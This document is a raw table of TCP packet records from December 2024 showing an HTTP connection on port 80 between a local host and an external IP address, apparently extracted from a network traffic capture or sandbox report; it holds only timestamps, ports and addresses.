Dec 18, 2024 22:02:44.715395927 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.715620995 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.715693951 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.716424942 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.716440916 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.716485023 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.716520071 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.717490911 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.717541933 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.717776060 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.717827082 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.718770981 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.718786955 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.718830109 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.718858957 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.719871044 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.719887018 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.719929934 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.719961882 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.826005936 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.826066017 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.826117992 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.826169968 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.826544046 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.826601982 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.826688051 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.826740980 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.827735901 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.827792883 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.828089952 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.828139067 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.828223944 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.828279972 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.829257965 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.829313993 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.829456091 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.829508066 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.830348015 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.830429077 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.830516100 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.830574036 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.831563950 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.831619024 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.831775904 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.831829071 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.832644939 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.832696915 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.832768917 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.832820892 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.833808899 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.833865881 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.833910942 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.833957911 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.834918976 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.834973097 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.835057974 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.835114002 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.836072922 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.836127996 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.836280107 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.836332083 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.837196112 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.837248087 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.837296963 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.837346077 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.838310003 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.838362932 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.838562965 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.838617086 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.839468002 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.839521885 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.839626074 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.839684963 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.840554953 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.840636969 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.840712070 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.840765953 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.841722012 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.841775894 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.841876030 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.841928005 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.842820883 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.842875004 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.842964888 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.843015909 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.844027042 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.844088078 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.844127893 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.844175100 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.845105886 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.845156908 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.845235109 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.845287085 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.846260071 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.846317053 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.846393108 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.846443892 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.847337961 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.847384930 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.847512960 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.847563982 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.848514080 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.848566055 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.848665953 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.848754883 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.849608898 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.849663019 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.849751949 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.849802971 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.850750923 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.850827932 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.850877047 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.850929976 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.851924896 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.851978064 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.852112055 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.852161884 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.853004932 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.853065014 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.853146076 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.853198051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.854127884 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.854182005 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.854312897 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.854367018 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.855257034 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.855324984 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.882086039 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.882153034 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.882230997 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.882280111 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.882522106 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.882575989 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.882725000 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.882782936 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.883693933 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.883745909 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.883910894 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.883964062 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.884803057 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.884855032 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.884982109 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.885035038 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.885927916 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.885998964 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.886276007 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.886327982 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.887078047 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.887131929 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.887303114 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.887356043 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.888309002 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.888362885 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.888478041 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.888528109 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.889365911 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.889419079 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.889519930 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.889571905 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.890487909 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.890538931 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.890610933 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.890666008 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.891599894 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.891652107 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.891729116 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.891781092 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.892718077 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.892771006 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.892887115 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.892939091 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.893862963 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.893918991 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.894006968 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.894061089 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.895098925 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.895150900 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.895241022 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.895292997 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.896220922 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.896302938 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.896517038 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.896584034 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.897579908 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.897629023 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.897721052 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.897768974 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.898693085 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.898750067 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.898825884 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.898879051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.899648905 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.899704933 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.899779081 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.899832010 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.900713921 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.900764942 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.900919914 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.900974035 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.901824951 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.901879072 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.901963949 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.902012110 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.902964115 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.903016090 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.903110981 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.903162956 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.904241085 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.904294014 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.904439926 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.904490948 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.905262947 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.905319929 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.905368090 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.905421019 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.906325102 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.906403065 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.906449080 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.906497955 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.907449961 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.907502890 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.907567978 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.907612085 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.908653021 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.908710003 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.908804893 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.908857107 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.909725904 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.909782887 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.909832954 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.909884930 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.910876989 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.910928965 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:44.910968065 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:44.911011934 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.018414021 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.018548965 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.018767118 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.018826008 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.018934965 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.018987894 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.019150972 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.019203901 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.020076036 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.020131111 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.020271063 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.020320892 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.021281004 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.021351099 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.021401882 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.021465063 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.022465944 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.022538900 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.022643089 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.022695065 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.023521900 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.023576975 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.023618937 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.023669004 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.024580002 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.024641037 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.024739027 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.024787903 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.025763988 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.025823116 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.025875092 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.025928020 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.026910067 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.026979923 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.027059078 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.027111053 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.027992964 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.028050900 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.028189898 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.028239012 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.029171944 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.029225111 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.029297113 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.029375076 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.030282021 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.030338049 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.030411005 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.030461073 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.031384945 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.031436920 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.031541109 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.031585932 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.032553911 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.032604933 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.032766104 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.032826900 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.034339905 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.034405947 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.034710884 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.034769058 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.035398960 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.035454988 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.035468102 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.035517931 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.036101103 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.036150932 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.036201000 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.036251068 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.037110090 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.037162066 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.037213087 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.037259102 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.038398981 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.038450003 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.038604021 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.038655996 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.039493084 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.039549112 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.039588928 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.039638042 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.040452957 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.040508032 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.040576935 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.040631056 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.041562080 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.041611910 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.041688919 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.041742086 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.042710066 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.042784929 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.042892933 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.042943001 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.043858051 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.043915987 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.043993950 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.044047117 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.044962883 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.045022011 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.045202971 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.045258999 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.046093941 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.046149015 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.046238899 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:45.046293020 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:45.047225952 CET	80	49764	185.219.81.135	192.168.2.5
